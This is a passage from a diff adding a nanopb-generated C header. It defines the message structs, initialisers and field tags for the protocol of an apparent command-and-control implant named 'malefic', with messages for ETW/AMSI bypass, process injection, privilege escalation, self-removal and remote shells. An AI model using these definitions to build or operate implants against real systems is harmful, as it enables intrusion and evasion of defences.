malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero}} +#define malefic_ExecRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_zero {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_zero {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_zero {0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}} +#define malefic_Addon_init_zero {"", "", ""} +#define malefic_LoadModule_init_zero {"", {0, {0}}} +#define malefic_LoadAddon_init_zero {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_zero {"", false, malefic_ExecuteBinary_init_zero} +#define malefic_ExecuteBinary_init_zero {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_zero, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_zero {"", false, malefic_SacrificeProcess_init_zero} +#define malefic_UploadRequest_init_zero {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_zero {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_zero {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_zero {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_zero {"", "", "", 0} +#define malefic_IfconfigResponse_init_zero {0, {malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero}} +#define malefic_RegistryRequest_init_zero {"", false, malefic_Registry_init_zero} +#define malefic_Registry_init_zero {"", "", ""} +#define malefic_RegistryWriteRequest_init_zero {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_zero {"", false, malefic_TaskSchedule_init_zero} +#define malefic_TaskSchedule_init_zero {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_zero {0, {malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero}} +#define malefic_ServiceRequest_init_zero {"", false, malefic_ServiceConfig_init_zero} +#define malefic_ServiceConfig_init_zero {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_zero {0, 0, 0, 0, 0} +#define malefic_Service_init_zero {false, malefic_ServiceConfig_init_zero, false, malefic_ServiceStatus_init_zero} +#define malefic_ServicesResponse_init_zero {0, {malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero}} +#define malefic_WmiQueryRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_zero {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_zero {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_zero {{0, {0}}, 0} +#define malefic_Inject_init_zero {{0, {0}}, 0} +#define malefic_Pipe_init_zero {"", "", {0, {0}}} +#define malefic_PipeRequest_init_zero {"", false, malefic_Pipe_init_zero} +#define malefic_Switch_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_zero {0, ""} +#define malefic_TaskInfo_init_zero {0, 0, 0, 0} +#define malefic_TaskListResponse_init_zero {0, {malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero}} +#define malefic_FFmpegRequest_init_zero {"", "", "", "", ""} +#define malefic_PtyRequest_init_zero {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_zero {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_zero {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} + +/* Field tags (for use in manual encoding/decoding) */ +#define malefic_Ping_nonce_tag 1 +#define malefic_Secure_enable_tag 1 +#define malefic_Secure_key_tag 2 +#define malefic_Secure_type_tag 3 +#define malefic_Secure_public_key_tag 4 +#define malefic_KeyExchangeRequest_public_key_tag 1 +#define malefic_KeyExchangeRequest_signature_tag 2 +#define malefic_KeyExchangeRequest_timestamp_tag 3 +#define malefic_KeyExchangeRequest_nonce_tag 4 +#define malefic_KeyExchangeResponse_public_key_tag 1 +#define malefic_Init_data_tag 1 +#define malefic_Suicide_type_tag 1 +#define malefic_Suicide_timestamp_tag 2 +#define malefic_Request_name_tag 1 +#define malefic_Request_input_tag 2 +#define malefic_Request_args_tag 3 +#define malefic_Request_params_tag 4 +#define malefic_Request_bin_tag 5 +#define malefic_Request_ParamsEntry_key_tag 1 +#define malefic_Request_ParamsEntry_value_tag 2 +#define malefic_Response_output_tag 1 +#define malefic_Response_error_tag 2 +#define malefic_Response_kv_tag 3 +#define malefic_Response_array_tag 4 +#define malefic_Response_KvEntry_key_tag 1 +#define malefic_Response_KvEntry_value_tag 2 +#define malefic_BypassRequest_ETW_tag 1 +#define malefic_BypassRequest_AMSI_tag 2 +#define malefic_BypassRequest_block_dll_tag 3 +#define malefic_NetInterface_index_tag 1 +#define malefic_NetInterface_name_tag 2 +#define malefic_NetInterface_mac_tag 3 +#define malefic_NetInterface_ip_addresses_tag 4 +#define malefic_SockTabEntry_local_addr_tag 1 +#define malefic_SockTabEntry_remote_addr_tag 2 +#define malefic_SockTabEntry_skState_tag 3 +#define malefic_SockTabEntry_pid_tag 5 +#define malefic_SockTabEntry_protocol_tag 6 +#define malefic_NetstatResponse_socks_tag 1 +#define malefic_Block_block_id_tag 1 +#define malefic_Block_content_tag 2 +#define malefic_Block_end_tag 3 +#define malefic_ACK_id_tag 1 +#define malefic_ACK_success_tag 2 +#define malefic_ACK_end_tag 3 +#define malefic_Os_name_tag 1 +#define malefic_Os_version_tag 2 +#define malefic_Os_release_tag 3 +#define malefic_Os_arch_tag 4 +#define malefic_Os_username_tag 5 +#define malefic_Os_hostname_tag 6 +#define malefic_Os_locale_tag 7 +#define malefic_Os_clr_version_tag 8 +#define malefic_Process_name_tag 1 +#define malefic_Process_pid_tag 2 +#define malefic_Process_ppid_tag 3 +#define malefic_Process_owner_tag 4 +#define malefic_Process_arch_tag 5 +#define malefic_Process_path_tag 6 +#define malefic_Process_args_tag 7 +#define malefic_Process_uid_tag 8 +#define malefic_SysInfo_filepath_tag 1 +#define malefic_SysInfo_workdir_tag 2 +#define malefic_SysInfo_is_privilege_tag 3 +#define malefic_SysInfo_os_tag 11 +#define malefic_SysInfo_process_tag 12 +#define malefic_Timer_expression_tag 1 +#define malefic_Timer_jitter_tag 2 +#define malefic_FileInfo_Name_tag 1 +#define malefic_FileInfo_IsDir_tag 2 +#define malefic_FileInfo_Size_tag 3 +#define malefic_FileInfo_ModTime_tag 4 +#define malefic_FileInfo_Mode_tag 5 +#define malefic_FileInfo_Link_tag 6 +#define malefic_SacrificeProcess_hidden_tag 1 +#define malefic_SacrificeProcess_block_dll_tag 2 +#define malefic_SacrificeProcess_etw_tag 3 +#define malefic_SacrificeProcess_ppid_tag 4 +#define malefic_SacrificeProcess_argue_tag 5 +#define malefic_LsResponse_Path_tag 1 +#define malefic_LsResponse_Exists_tag 2 +#define malefic_LsResponse_Files_tag 3 +#define malefic_DriveInfo_path_tag 1 +#define malefic_DriveInfo_drive_type_tag 2 +#define malefic_DriveInfo_total_size_tag 3 +#define malefic_DriveInfo_free_size_tag 4 +#define malefic_DriveInfo_file_system_tag 5 +#define malefic_EnumDriversResponse_drives_tag 1 +#define malefic_PsResponse_processes_tag 1 +#define malefic_ExecRequest_path_tag 1 +#define malefic_ExecRequest_args_tag 2 +#define malefic_ExecRequest_output_tag 3 +#define malefic_ExecRequest_singleton_tag 4 +#define malefic_ExecRequest_realtime_tag 5 +#define malefic_ExecRequest_ppid_tag 10 +#define malefic_ExecResponse_status_code_tag 1 +#define malefic_ExecResponse_stdout_tag 2 +#define malefic_ExecResponse_stderr_tag 3 +#define malefic_ExecResponse_pid_tag 4 +#define malefic_ExecResponse_end_tag 5 +#define malefic_BinaryResponse_data_tag 1 +#define malefic_BinaryResponse_message_tag 2 +#define malefic_BinaryResponse_status_tag 3 +#define malefic_BinaryResponse_err_tag 4 +#define malefic_Modules_modules_tag 1 +#define malefic_Addon_name_tag 1 +#define malefic_Addon_type_tag 2 +#define malefic_Addon_depend_tag 3 +#define malefic_Register_name_tag 1 +#define malefic_Register_proxy_tag 2 +#define malefic_Register_module_tag 3 +#define malefic_Register_addons_tag 4 +#define malefic_Register_timer_tag 5 +#define malefic_Register_sysinfo_tag 11 +#define malefic_Register_secure_tag 12 +#define malefic_Addons_addons_tag 1 +#define malefic_LoadModule_bundle_tag 1 +#define malefic_LoadModule_bin_tag 2 +#define malefic_LoadAddon_name_tag 1 +#define malefic_LoadAddon_type_tag 2 +#define malefic_LoadAddon_depend_tag 3 +#define malefic_LoadAddon_bin_tag 4 +#define malefic_ExecuteBinary_name_tag 1 +#define malefic_ExecuteBinary_bin_tag 2 +#define malefic_ExecuteBinary_param_tag 3 +#define malefic_ExecuteBinary_type_tag 4 +#define malefic_ExecuteBinary_process_name_tag 5 +#define malefic_ExecuteBinary_args_tag 6 +#define malefic_ExecuteBinary_entry_point_tag 7 +#define malefic_ExecuteBinary_data_tag 8 +#define malefic_ExecuteBinary_output_tag 9 +#define malefic_ExecuteBinary_arch_tag 10 +#define malefic_ExecuteBinary_timeout_tag 11 +#define malefic_ExecuteBinary_sacrifice_tag 12 +#define malefic_ExecuteBinary_path_tag 13 +#define malefic_ExecuteBinary_context_tag 14 +#define malefic_ExecuteBinary_delay_tag 15 +#define malefic_ExecuteAddon_addon_tag 1 +#define malefic_ExecuteAddon_execute_binary_tag 2 +#define malefic_ExecuteBinary_ParamEntry_key_tag 1 +#define malefic_ExecuteBinary_ParamEntry_value_tag 2 +#define malefic_ExecuteCommand_command_tag 1 +#define malefic_ExecuteCommand_sacrifice_tag 2 +#define malefic_UploadRequest_name_tag 1 +#define malefic_UploadRequest_target_tag 2 +#define malefic_UploadRequest_priv_tag 3 +#define malefic_UploadRequest_data_tag 4 +#define malefic_UploadRequest_hidden_tag 5 +#define malefic_UploadRequest_override_tag 6 +#define malefic_DownloadRequest_path_tag 1 +#define malefic_DownloadRequest_name_tag 2 +#define malefic_DownloadRequest_buffer_size_tag 3 +#define malefic_DownloadRequest_dir_tag 4 +#define malefic_DownloadRequest_cur_tag 5 +#define malefic_DownloadResponse_checksum_tag 1 +#define malefic_DownloadResponse_size_tag 2 +#define malefic_DownloadResponse_cur_tag 3 +#define malefic_DownloadResponse_content_tag 4 +#define malefic_CurlRequest_url_tag 1 +#define malefic_CurlRequest_timeout_tag 2 +#define malefic_CurlRequest_method_tag 3 +#define malefic_CurlRequest_body_tag 4 +#define malefic_CurlRequest_header_tag 5 +#define malefic_CurlRequest_hostname_tag 6 +#define malefic_CurlRequest_HeaderEntry_key_tag 1 +#define malefic_CurlRequest_HeaderEntry_value_tag 2 +#define malefic_ChownRequest_path_tag 1 +#define malefic_ChownRequest_uid_tag 2 +#define malefic_ChownRequest_gid_tag 3 +#define malefic_ChownRequest_recursive_tag 4 +#define malefic_IfconfigResponse_net_interfaces_tag 1 +#define malefic_Registry_hive_tag 1 +#define malefic_Registry_path_tag 2 +#define malefic_Registry_key_tag 3 +#define malefic_RegistryRequest_type_tag 1 +#define malefic_RegistryRequest_registry_tag 2 +#define malefic_RegistryWriteRequest_hive_tag 1 +#define malefic_RegistryWriteRequest_path_tag 2 +#define malefic_RegistryWriteRequest_key_tag 3 +#define malefic_RegistryWriteRequest_string_value_tag 5 +#define malefic_RegistryWriteRequest_byte_value_tag 6 +#define malefic_RegistryWriteRequest_dword_value_tag 7 +#define malefic_RegistryWriteRequest_qword_value_tag 8 +#define malefic_RegistryWriteRequest_regtype_tag 10 +#define malefic_TaskSchedule_name_tag 1 +#define malefic_TaskSchedule_path_tag 2 +#define malefic_TaskSchedule_executable_path_tag 3 +#define malefic_TaskSchedule_trigger_type_tag 4 +#define malefic_TaskSchedule_start_boundary_tag 5 +#define malefic_TaskSchedule_description_tag 6 +#define malefic_TaskSchedule_enabled_tag 7 +#define malefic_TaskSchedule_last_run_time_tag 8 +#define malefic_TaskSchedule_next_run_time_tag 9 +#define malefic_TaskScheduleRequest_type_tag 1 +#define malefic_TaskScheduleRequest_taskschd_tag 2 +#define malefic_TaskSchedulesResponse_schedules_tag 1 +#define malefic_ServiceConfig_name_tag 1 +#define malefic_ServiceConfig_display_name_tag 2 +#define malefic_ServiceConfig_executable_path_tag 3 +#define malefic_ServiceConfig_start_type_tag 4 +#define malefic_ServiceConfig_error_control_tag 5 +#define malefic_ServiceConfig_account_name_tag 6 +#define malefic_ServiceRequest_type_tag 1 +#define malefic_ServiceRequest_service_tag 2 +#define malefic_ServiceStatus_current_state_tag 1 +#define malefic_ServiceStatus_process_id_tag 2 +#define malefic_ServiceStatus_exit_code_tag 3 +#define malefic_ServiceStatus_checkpoint_tag 4 +#define malefic_ServiceStatus_wait_hint_tag 5 +#define malefic_Service_config_tag 1 +#define malefic_Service_status_tag 2 +#define malefic_ServicesResponse_services_tag 1 +#define malefic_WmiQueryRequest_namespace_tag 1 +#define malefic_WmiQueryRequest_args_tag 2 +#define malefic_WmiMethodRequest_namespace_tag 1 +#define malefic_WmiMethodRequest_class_name_tag 2 +#define malefic_WmiMethodRequest_method_name_tag 3 +#define malefic_WmiMethodRequest_params_tag 4 +#define malefic_WmiMethodRequest_ParamsEntry_key_tag 1 +#define malefic_WmiMethodRequest_ParamsEntry_value_tag 2 +#define malefic_RunAsRequest_username_tag 1 +#define malefic_RunAsRequest_domain_tag 2 +#define malefic_RunAsRequest_password_tag 3 +#define malefic_RunAsRequest_program_tag 4 +#define malefic_RunAsRequest_args_tag 5 +#define malefic_RunAsRequest_use_profile_tag 6 +#define malefic_RunAsRequest_netonly_tag 7 +#define malefic_RunAsRequest_use_env_tag 8 +#define malefic_GetSystem_bin_tag 1 +#define malefic_GetSystem_pid_tag 2 +#define malefic_Inject_bin_tag 1 +#define malefic_Inject_pid_tag 2 +#define malefic_Pipe_name_tag 1 +#define malefic_Pipe_target_tag 2 +#define malefic_Pipe_data_tag 4 +#define malefic_PipeRequest_type_tag 1 +#define malefic_PipeRequest_pipe_tag 2 +#define malefic_Switch_urls_tag 1 +#define malefic_TaskCtrl_task_id_tag 1 +#define malefic_TaskCtrl_op_tag 2 +#define malefic_TaskInfo_task_id_tag 1 +#define malefic_TaskInfo_last_tag 2 +#define malefic_TaskInfo_recv_count_tag 3 +#define malefic_TaskInfo_send_count_tag 4 +#define malefic_TaskListResponse_tasks_tag 1 +#define malefic_FFmpegRequest_action_tag 1 +#define malefic_FFmpegRequest_device_name_tag 2 +#define malefic_FFmpegRequest_output_format_tag 3 +#define malefic_FFmpegRequest_output_path_tag 4 +#define malefic_FFmpegRequest_time_tag 5 +#define malefic_PtyRequest_type_tag 1 +#define malefic_PtyRequest_session_id_tag 2 +#define malefic_PtyRequest_shell_tag 3 +#define malefic_PtyRequest_cols_tag 4 +#define malefic_PtyRequest_rows_tag 5 +#define malefic_PtyRequest_input_data_tag 6 +#define malefic_PtyRequest_input_text_tag 7 +#define malefic_PtyRequest_params_tag 8 +#define malefic_PtyRequest_ParamsEntry_key_tag 1 +#define malefic_PtyRequest_ParamsEntry_value_tag 2 +#define malefic_PtyResponse_session_id_tag 1 +#define malefic_PtyResponse_output_data_tag 2 +#define malefic_PtyResponse_output_text_tag 3 +#define malefic_PtyResponse_error_tag 4 +#define malefic_PtyResponse_session_active_tag 5 +#define malefic_PtyResponse_active_sessions_tag 6 +#define malefic_PtyResponse_metadata_tag 7 +#define malefic_PtyResponse_MetadataEntry_key_tag 1 +#define malefic_PtyResponse_MetadataEntry_value_tag 2 +#define malefic_CommonBody_name_tag 1 +#define malefic_CommonBody_u32_array_tag 2 +#define malefic_CommonBody_u64_array_tag 4 +#define malefic_CommonBody_bool_array_tag 6 +#define malefic_CommonBody_string_array_tag 8 +#define malefic_CommonBody_bytes_array_tag 10 + +/* Struct field encoding specification for nanopb */ +#define malefic_Ping_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, nonce, 1) +#define malefic_Ping_CALLBACK NULL +#define malefic_Ping_DEFAULT NULL + +#define malefic_Register_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, proxy, 2) \ +X(a, STATIC, REPEATED, STRING, module, 3) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 4) \ +X(a, STATIC, OPTIONAL, MESSAGE, timer, 5) \ 